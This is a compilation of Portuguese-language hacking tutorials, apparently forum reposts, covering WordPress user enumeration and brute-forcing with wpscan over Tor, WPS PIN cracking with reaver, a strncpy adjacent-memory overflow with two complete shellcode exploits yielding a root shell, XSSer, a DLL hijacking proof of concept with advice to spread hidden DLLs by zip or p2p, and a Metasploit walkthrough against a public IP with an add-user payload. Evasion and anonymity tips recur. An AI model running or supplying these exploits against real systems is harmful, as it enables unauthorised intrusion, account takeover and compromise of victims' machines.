Tutorial wpscan – Invadindo sites em WordPress (Ethical Hacking)

Olá a todos

No nosso tutorial de hoje, gostaria de mostrar uma ferramenta bem útil e bastante voltada para auditoria e exploração de sites feitos usando WordPress.

Para executar os procedimentos mencionados aqui vc precisa ter o Kali Linux instalado

Mãos à obra

No menu Applications selecione Kali Linux/WebApplications/CMS Identification/wpscan
vai abrir uma janela do terminal onde vc pode digitar:

ruby /usr/bin/wpscan --url www.site.com --enumerate p

Esse comando vai fazer as verificações mais comuns e listar os plugins instalados e se alguns dos plugins tem vulnerabilidades conhecidas de segurança. As vulnerabilidades encontradas são acompanhas de links com informações de como explorar essas falhas. o resultado é semelhante a esse.







Indo um pouco além podemos usar o parâmetro u para listar os usuários do painel administrativo

ruby /usr/bin/wpscan --url www.site.com --enumerate u

com os usuários listados podemos usar o seguinte parâmetro no comando para executar um ataque de força bruta no painel:

ruby /usr/bin/wpscan. --url www.site.com --wordlist words.txt --username admin

Neste caso, devemos ter uma wordlist com senhas que no nosso caso se chama words.txtbasta colocar o nome da sua, e em username vc vai colocar o usuário que foi enumerado usando o comando anterior no nosso caso foi o admin.

Todos esses comandos podem ser executados de forma anônima usando no final o parâmetro –proxy HTTP://127.0.0.1:8123 (OBS: isso só vai funcionar se vc tiver seguido nossa dica de configuração do Tor no Kali Linux)

Espero que tenham gostado.

Essas dicas não devem ser usadas para o “mal” e sim pra ajudar a todos.

Como dica existem alguns plugins que ajudam a melhorar a segurança do wordpress, alguns são capazes até mesmo de bloquear tentativas de ataques de força bruta.

Não se esqueçam de compartilhar e se inscrever no blog para ser notificado por email das novidades.

Até a próxima.

Creditos : Hernane Carvalho

Descobrindo senha de Roteadores Wi-Fi WPA2 com WPS Ativado

Olá a todos

Claro que não preciso falar que essas informações devem ser usadas com responsabilidade, apenas para fins de estudo e testes, lembrando que cada um será responsável pelo que fizer com essas informações.

Pra começar precisamos de uma distribuição Linux usada para Pen-Test, no meu caso, fiz e testei com sucesso o Linux Backtrack disponível no seguinte link abaixo

http://www.backtrack-linux.org/downloads/

Atualizado em 24/4/13: A dica apresentada aqui nesse tutorial funciona perfeitamente também no Kali Linux.

Essa distribuição já vem com tudo que precisamos instalado.

Vamos precisar também de uma placa de rede Wi-Fi que suporte ser ativada em modo monitor (a maioria funciona) no computador ou VM que será usada para fazer o procedimento.

Importante é que esse tutorial só funciona em roteadores que tem a função WPS ativada, que diga-se de passagem muitos tem e vem ativado por padrão.

Vamos lá então:

Caso sua placa já esteja conectada abra um terminal e digite

ifconfig wlan0 down

lembrando que “wlan0? pode variar dependendo do seu equipamento.
em seguida vamos colocar a placa em modo monitor com o seguinte comando:

airmon-ng start wlan0

Agora precisamos capturar o MAC do Access Point que desejamos descobrir a senha para isso execute o seguinte comando

airodump-ng -i mon0

Será exibida uma tela como essa onde será visualizado uma lista com todos os access point que foram localizados, copie o mac do access point desejado antes de ir pro próximo passo.

Obs: O campo ESSID vai mostrar o nome das redes ao alcance no caso aqui propositadamente ficaram borrados



Agora vamos usar um programa chamado reaver, ele pode ser instalado em outras distribuições linux mas no nosso sugerido ela já vem instalada, basta digitar o seguinte agora

reaver -i mon0 -b 98:5d:4c:c3:54:90 -vv

Lembre-se de após o “-b” vc deve usar o Mac Adress do access point que deseja descobrir a senha.

O processo é um tanto demorado (pode levar váárias horas) mas se fizer tudo direitinho e o Access Point estiver configurado para usar WPS certamente será exibida a senha no final.

Creditos: Hernane Carvalho

[ Tutorial ] Exploitando Memória Adjacente

1 - Introdução

2 - O Problema 

3 - A Exploitacao 

4 - Expansão do Conceito

5 - Terminando 

 5.1 - Links e Referencias

 5.2 - Considerações Finais 

 5.2 - Agradecimentos

Os ataques de Buffer Overflows parecem que ainda perdurarao por algum tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca, os exemplos de condições de overflow permanecem como uma "constante" entre os aplicativos de um modo geral.

Ate onde eu conheço, o conceito de buffer overflow eh apenas um, no entanto, as técnicas para implementação deste conceito são diversas. E ate onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a expandir para as massas o conceito de buffer overflows. Desde o worm (Robert Morris, 1988) ate os nossos dias, muitos programadores tem procurado diminuir as condições de buffer overflows em programas que manipulam parâmetros recebidos de um usuário, substituindo funcoes conhecidas como vulneraveis(strcpy, gets, sprintf) por funções que necessariamente fazem checagem do tamanho dos parâmetros recebidos (strncpy, snprintf, etc).

No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto uma técnica capaz de exploitar espaços de memoria adjacente, especificamente o manuseio incorreto das funções ditas seguras(strcnpy, por exemplo). As Analises de código-fonte(auditoria) passaram agora a incluir todo tipo de funções, demonstrando assim que nao basta apenas a funcao fazer a checagem do tamanho dos parametros, mas outros fatores passaram a ser essenciais.

Neste documento abordaremos esta técnica. Conhecimentos em C, Assembly (AT&T), escrita de exploits(ver docs da Unsek Scene) e Linux se fazem necessários. E principalmente mentalidade fuçadora!

O problema
Podemos descrever basicamente o problemas com as funções ditas seguras (strncpy, strncat, etc) eh que elas não são capazes de terminar automaticamente os buffers ou strings com um NULL. Como assim?


Vejamos nosso primeiro código inicial:

/* Exemplo de strncpy()*/
#include <stdio.h>
#include <string.h>
 int main(int argc, char *argv[]){ char buffer[256];
 /* Iremos copiar argv[1] para buffer e imprimir */ strncpy(buffer,argv[1],sizeof(buffer));
 /* Iremos imprimir o tamanho da string recebida em argv[1] */ printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer)); return 0; }

Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256

A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:

kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256

Como podemos notar strlen() contem um tamanho superior ao esperado. Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando o programa abaixo:

/* Exemplo 2 de strncpy() */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){ char buffer1[20], buffer2[8];
 /* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
 /* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
 /* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2); return 0; }

Executando este programa, teoricamente deveríamos ter a saída de buffer2, ou seja, uma string contendo 8 caracteres.Mas vejamos:

kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon

NashLeonNashLeon Possue 16 caracteres.
No mais a gente pode brincar com isso:

kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@

Ele imprime justamente porque o strncpy() não encontrou o caracter NULL como esperava. Com menos de 8 caracteres, poderíamos ter:

kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo

Ou seja, a execução e impressão em modo normal e esperado, ja que temos um NULL na string indicando o termino dela. O stack nesse caso iria parecer como:

Memoria Alta || ---------------->
[Topo do Stack] || ---------------->
[ 'N' (buffer2 - 0) ] || ---------------->
 [ 'a' (buffer2 - 1) ] || ---------------->
 [ 's' (buffer2 - 2) ] || ---------------->
 [ 'h' (buffer2 - 3) ] || ---------------->
[ 'L' (buffer2 - 4) ] || ---------------->
 [ 'e' (buffer2 - 5) ] || ---------------->
[ 'o' (buffer2 - 6) ] || ---------------->
 [ 'n' (buffer2 - 7) ] || ---------------->
 [ 'N' (buffer1 - 0) ] || ---------------->
 [ 'a' (buffer1 - 1) ] || ---------------->
[ 's' (buffer1 - 2) ] || ---------------->
 [ 'h' (buffer1 - 3) ] || ---------------->
 [ 'L' (buffer1 - 4) ] || ---------------->
 [ 'e' (buffer1 - 5) ] || ---------------->
 [ 'o' (buffer1 - 6) ] || ---------------->
[ 'n' (buffer1 - 7) ] || ---------------->
[ 'U' (buffer1 - 8) ] || ---------------->
 [ 'n' (buffer1 - 9) ] || ---------------->
[ 's' (buffer1 - 10) ] || ---------------->
[ 'e' (buffer1 - 11) ] || ---------------->
 [ 'k' (buffer1 - 12) ] || ---------------->
 [ 0x00 (buffer1 - 13) ] || || ... \/

Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na seção abaixo.

A Exploitação

Este problema pode ser exploitado de inúmeras maneiras. Dependendo do nível do atacante, ele pode se aproveitar ate mesmo do exemplo inicial postado neste documento. Como este e todos os meus documentos visam NewBies, veremos inicialmente o exemplo mais trivial de se exploitar este problema.

Como vimos no exemplo acima, strlen() tende a ser maior do que o esperado quando enchemos um buffer e strncpy() nao encontra um NULLinteracao de funcoes.

Vejamos abaixo uma possivel implicacao disso:

 /* Exemplo inicial de programa vulneravel
 * Documento sobre problemas com memoria adjacente
 * Nash Leon - nashleon@yahoo.com.br. *
#include <unistd.h>
int bugada(char *buffer);
int main(int argc,char *argv[])
{
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2); return 0;
}
 int bugada(char *buffer){ char buf3[300]; int i;
/* note que buf3 suporta 300 bytes enquando
 * buf2(buffer) teoricamente deveria conter no maximo
 * 256. */
 for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i];
}
}

#include <stdio.h> 

Para exploitarmos este programa, não tem muito segredo. Vamos encher o primeiro buffer com NOPs e o nosso shellcode, e o segundo apenas com o endereço de retorno. Existem inumeros esquemas em cima disso, em alguns casos, partindo o shellcode ou manipulando NOPs, enfim, vejamos o exploit abaixo:

/* Primeiro exemplo de exploit para
* strcnpy() - Espaco de Memoria Adjacente.
* Desenvolvido por Nash Leon p/ tutorial.
* nashleon@yahoo.com.br */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define LENBUFF1 256
#define LENBUFF2 512
/* Shellcode Padrao */ char shellcode[] =   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* Captura o Stack Pointer */
unsigned long get_sp(void){ __asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char buff1[LENBUFF1];
char buff2[LENBUFF2];
int i, offset = 0; unsigned long retaddr; if(argc < 2){ printf("Uso: %s <offset>\n",argv[0]); exit(0); } offset = atoi(argv[1]); memset(buff1,0x90,sizeof(buff1)); memcpy(buff1+100,shellcode,strlen(shellcode)); retaddr = get_sp() + offset; for(i=0; i< LENBUFF2; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; } printf("Usando Retorno: 0x%x\n", retaddr); execl("./v","./v",buff1,buff2,NULL); }
Vamos executar ele, entao:
kimera3:/work/testes# ./ev 150
Usando Retorno: 0xbffff7f2
Segmentation fault (core dumped)
kimera3:/work/testes# ./ev 155
Usando Retorno: 0xbffff7f7
sh-2.03#

Como podemos ver, eh funcional! Mas podemos dividi-lo e aprimora-lo ate mesmo para evitar o uso de offsets. Outro possível esquema pode obedecer o seguinte modelo descrito pelo twitch na Phrack 56:

Apos a execução de strncpy(), buf2 deve parecer com:

Código: 

[ 0 ......................................................... 512 ] -------------------------------------------------------------------- | | | | offset_para_shellcode | Um monte de lixo(NULL, NOPs) | | | | -------------------------------------------------------------------- E buf1 deve parecer com: [ 0 .......................................................... 256 ] -------------------------------------------------------------------- | | | | | Cadeia de NOP's | shellcode | Mais NOP's | | | | | --------------------------------------------------------------------

Logo, para este esquema poderíamos ter o seguinte exploit:

Código:

/* Segundo exemplo de exploit para * strcnpy() - Espaco de Memoria Adjacente. * Desenvolvido por Nash Leon p/ tutorial. * nashleon@yahoo.com.br */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #define LENBUFF1 256 #define LENBUFF2 512 /* Shellcode Padrao */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Captura o Stack Pointer */ unsigned long get_sp(void){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[]) { char buff1[LENBUFF1]; char buff2[LENBUFF2]; int i, offset = 0; unsigned long retaddr; if(argc < 2){ printf("Uso: %s <offset>\n",argv[0]); exit(0); } offset = atoi(argv[1]); memset(buff1,0x90,sizeof(buff1)); memcpy(buff1+100,shellcode,strlen(shellcode)); retaddr = get_sp() + offset; memset(buff2,0x90,sizeof(buff2)); for(i=0; i< LENBUFF2 - 360; i+=4){ buff2[i]=(retaddr&0x000000ff); buff2[i+1]=(retaddr&0x0000ff00)>>8; buff2[i+2]=(retaddr&0x00ff0000)>>16; buff2[i+3]=(retaddr&0xff000000)>>24; } printf("Usando Retorno: 0x%x\n", retaddr); execl("./v","./v",buff1,buff2,NULL); }

Executando:

kimera3:/work/testes# ./ev2 120
Usando Retorno: 0xbffff7c4
sh-2.03#

Bom, como podemos perceber não há muito problema em exploitar este tipo de problema. Mas podemos ir mais alem.

4 - Expansão do Conceito

Qualquer função que manipula strings a espera de um caracter NULL para "encerrar" a string pode estar vulnerável a este tipo de problema. Vimos no exemplo acima, strncpy(), uma função que eh muito usada, mas podemos ir mais alem.

As seguintes funções também podem apresentar problemas:

Código:

fread() read() [ read(), readv(), pread() ] memcpy() memccpy() memmove() bcopy() for(i = 0; i < MAXSIZE; i++) buf[i] = buf2[i]; gethostname() strncat()

e etc.

Hoje em dia, a que mais chama a atencao eh a for().

Vejamos o exemplo abaixo:

Código:

/* Exemplo de programa vulneravel em for(). * Documento sobre problemas com memoria adjacente * Nash Leon - nashleon@yahoo.com.br. */  #include <stdio.h> #include <unistd.h> #define MAXSIZE 256 int bugada(char *buffer); int main(int argc,char *argv[]) { char buf1[MAXSIZE]; char buf2[MAXSIZE]; char *pam; int i; pam = argv[1]; /* Copiamos conteudo de argv[1] para buf1 */ for(i = 0; i < MAXSIZE; i++){ buf1[i] = pam[i]; } for(i =0; i < MAXSIZE; i++){ buf2[i] = buf1[i]; } bugada(buf2); return 0; } int bugada(char *buffer){ char buf3[MAXSIZE]; int i; for(i = 0; i < strlen(buffer); i++){ buf3[i] = buffer[i]; } }
# gdb ./v2
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) r `perl -e 'print "A" x 256'`
Starting program: /work/testes/./v2 `perl -e 'print "A" x 256'`
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Program Recebido signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Bom, como podemos ver, o problema eh serio! E condicoes com for()
ainda tem sido manifestadas em inumeros programas. O conceito eh este
e em breve espero poder abordar maiores pormenores sobre isso.

Terminando

Mais um documento sobre buffer overflows. Inumeras tecnicas existem e
este documento eh mais um basico.

Para impedir que os buffers sejam usados em condicoes de overflow
pela funções, em muitos casos basta apenas inserir um caracter NULL(\0)
no final do buffer, algo como:

#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE - 1] = '\0';

...

ou então ja evitar quais problemas na própria função receptora:

#define MAXSIZE 256
...
for(i = 0; i < MAXSIZE - 1; i++){
buf1[i] = pam[i];
}
buf1[MAXSIZE] = '\0';
...

Creditos : NASH LEON

Detectando e exploitando injeções de XSS utilizando o XSSer Tool

O que é XSSer?

XSSer é um programa open-source que automatiza processos de detecção e "explotagem" de injeções XSS em diferentes aplicações.

Você pode testar o software na página vulnerável:

testasp.vulnweb.com/

Como utilizá-lo?

1. root@punter:/pentest/web# $ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

2. root@punter:/pentest/web# cd xsser 

3. root@punter:/pentest/web/xsser# python XSSer.py -u “http://testasp.vulnweb.com” -g “Search.asp?tfSearch=” –proxy “http://127.0.0.1:8118″ –referer “666.666.666.666″ –user-agent “correct audit” –Fuzz -s

4. below are the results

Fonte:
punter-infosec

Windows DLL Hijacking

 Introdução

Hi.
Venho-lhes trazer uma matéria que escrevi há quase um ano, logo quando saiu o bug de DLL Hijacking. Hoje em dia a falha é pouco comentada e os programadores já tomam mais cuidado com ela, mas deixarei a matéria aqui a nível de conhecimento.
Esta é a tal falada falha que afetou diversos aplicativos famosos, incluindo uma grande parte dos softwares do pacote Office e browsers como Opera e Firefox em 2010.

 Hack It!

A falha conhecida como DLL Hijacking existe graças à um mau funcionamento do Windows, e até que eu saiba, afeta todas as versões. Deve ser utilizada juntamente com SEing, pois precisamos saber qual o software que a possível vítima utiliza. Em breve, veremos o porque.

Ao explorar um aplicativo, como por exemplo, um player de música, conseguimos executar um código desejado apenas inserindo um arquivo .dll no mesmo diretório do arquivo *.mp3. Ou seja, se mandarmos uma pasta zipada com alguns arquivos de áudio e uma DLL "escondida" no meio, ao abrir qualquer arquivo de áudio, o player executará a DLL apenas por estar no mesmo diretório.

O nome da *.dll que deve ficar no mesmo diretório do arquivo a ser aberto varia de acordo com o software a ser explorado. Há algumas tools para explorar como o DLL Hijack Audit Kit do projeto Metasploit, o DLL Hijack Auditor do SecurityXploded ou uma ferramenta qualquer de debugging. Em breve, mostrarei o funcionamento de ambas as tools.

Agora, vou mostrar um exemplo do funcionamento da falha.
Ontem, fui brincar com o conhecido player Nullsoft "Winamp", na sua versão 5.5.8.2975.
O nome das DLLs que encontrei foram "rapi.dll" e "dwmapi.dll".

Agora, criarei um código simples para fazer o PoC:

/*
* Simple DLL Hijacking Exploit
* Tutorial por Júnior Moraes (fvox)
* www.forum-invaders.com.br
* Email: synyster@bsdmail.com
*/
#include <windows.h>
#include <stdio.h>
int fvox()
{
MessageBox(0, "u r owned", "DLL Hijacking", MB_OK);
FILE *fp;
fp = fopen("fvox.txt", "w");
fwrite("it works ;-)", 1, 12, fp);
fclose(fp);
exit(1);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
fvox();
return TRUE;
}

Ainda fazendo os testes no Winamp, vamos compilar a DLL e colocá-la no mesmo diretório de um arquivo *.mp3 com o nome de "dwmapi.dll".
Agora, vamos abrir o arquivo .mp3 com o Winamp. O que será que acontece?



Yeah! Apesar do arquivo *.mp3 ser realmente uma música normal, a DLL foi carregada. Como vocês puderam perceber, o MsgBox foi chamado e foi-se criado um arquivo de nome "fvox.txt" contento a frase "it works ;-)".

___________
. Ferramentas\_______________________________________


Como já disse anteriormente, é possível descobrir o nome da DLL a ser bugada via tools ou por um debugger.
O DLL Hijack Audit Kit executa um macro e abre diversos aplicativos de diversas extensões. Este macro age junto com um aplicativo externo (Process Monitor), que salva um logfile. Com este logfile, há um segundo script que verifica a falha em todos os aplicativos instalados no computador.

Já o DLL Hijack Auditor, verifica uma aplicação específica com base no diretório dela e nas extensões que a aplicação pode executar.

Mostrarei um exemplo utilizando a segunda tool.

Testarei no aplicativo Media Player Classic 1.3.1748.0, muito utilizado para ver filmes por possuir seu sistema de dual audio, etc.

No campo "Select Application", localizem o executável principal. No caso, localizei o arquivo mpc-hc.exe. No campo "Specify Extension", coloquem todas as extensões utilizadas pelo programa e cliquem em "Start Audit". Quando o programa parar de testar as extensões no programa, o botão "Exploit" vai estar liberado. =)
Como é apenas um exemplo, coloquei poucas extensões só para vocês terem uma noção.



Opa. Apareceu uma "dll" bugada chamada "vsfilter.lang". Mas a extensão não é uma DLL. Será que funciona?



É, dá para brincar! ;-)


_________
. Conclusão\_______________________________________


DLL Hijacking pode parecer uma falha boba, mas pode ser muito bem utilizada, tanto em rede quanto fora dela.
Na rede, vocês podem usar e abusar de pastas compartilhadas do Windows.
Na internet, vocês podem enviar arquivos zipados com a DLL bugada oculta, ou espalhar via p2p.

Basta utilizar sua imaginação e seu conhecido, e let's code! ;-)

Aqui vai uma lista de aplicativos que possuem a falha e suas respectivas DLLs bugadas:
http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

Creditos:
fvox.

Tutorial detalhado do Metasploit - Indispensável

O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.

Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intrusão deverão usar sempre proxy a não ser que usem um Lab com VM´s






Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos (msfcl)
A interface gráfica é o msfweb - Interface gráfica via browser

Vou usar o linux mas há também a versão para windows. Então levando em consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e procedimentos... agora tá tudo integrado numa plataforma/framework.
Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...

Vejam também a, digamos, o irmão web que é a excelente w3af "Web Application Attack and Audit Framework."
Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês explorarem... explorem os payloads, os exploits e todos os outros utilitários. Podem fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "show exploits", entre outros.)

msfconsole - metasploit em modo console
msfcli - interface de automatização de penetração e exploração
msflogdump - exibe sessões de arquivos de log
msfplayload - usado para gerar payloads customizados
msfpescan - utilizado para analisar e descompilar executáveis e DLLs
msfencode - um codificador interactivo de payload encoder
msfupdate - utilizado para verificar e fazer download de actualização do framework
msfweb - Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do detector de vulnerabilidades automático, o NeXpose Community Edition... ele detecta as vulnerabilidades e integra-se com o metasploit.





Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje até o nmap têm scripts para detectar vulnerabilidades, que são a principal questão no exploitation... é a partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do software alvo e do SO... em alguns casos no windows até a língua em que o windows esta.
Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguem tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser que não haja qualquer equipamento especial, como acontece na maioria dos datacenters para as contas mais baixas. As mais usadas
.
Código :
Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo (o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm diversas técnicas de evasão, como spoofing, etc... explorem a documentação)





Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição - Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke: aprenderá sozinho o restante... como sempre dou a base para futuras explorações. Ajuda ao ensino e evita script kiddies

msfconsole:
Primeiramente digita-se na linha de comando :
Código :
[root]#./msfconsole
se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como: (neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O comando show serve para outras coisas como payloads e opções. Ver em detalhe)





Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos de consola. Atenção que isto são apenas os comandos de consola e não todas as suas funcionalidades.

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida

desta forma:

Código :
msf > show
msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'
msf >
Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework.

Para saberem quais os exploits que existem nesta framework (desde a ultima actualização, devem ir actualizando o metasploit que está em constante evolução) basta digitar o comando:

Código :
msf >show exploits;

Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”:



Código :
msf > use wins_ms04_045
msf wins_ms04_045 >
viram que eu escolhi o wins_ms04_045 e o prompt mudou . Utilizando para isto o comando: use

continuando...

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos:

Código :
msf wins_ms04_045 > show
msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'
msf wins_ms04_045 >
Vimos aqui que ele aceita targets, payloads, options ou advanced.

Vamos verificar quais opções que este exploit já seleccionado aceita:

Código :
msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >
Este exploit aceita somente duas opções : o ip alvo e a porta alvo. 

Agora deves estar a perguntar... como faço para utilizar isto. Simples, basta configurar o que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais complexidade e vectores são adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opções tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando...

Façamos assim:

Código :
msf wins_ms04_045 > set RHOST 200.126.35.34
RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42
RPORT -> 42
msf wins_ms04_045 >
Vejam que utilizei a mesma porta que o valor por default...
Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é que um software acoplado ao exploit para fazer as mais variadas tarefas.
Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads

Código :
msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >
Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o meterpreter)

O meterpreter é um complexo payload que é uma espécia de shell especial para cracking, com funcionalidades especificas para isso. Algo que já falei bastante também.

Documento onde é detalhado técnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede é confiável.

Assim:
Código :
msf wins_ms04_045 > set PAYLOAD win32_adduser jolie
PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>
Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho comando : show, só que agora assim: show targets

Código :
msf wins_ms04_045 > show targets

Supported Exploit Targets
=========================

0 Windows 2000 English

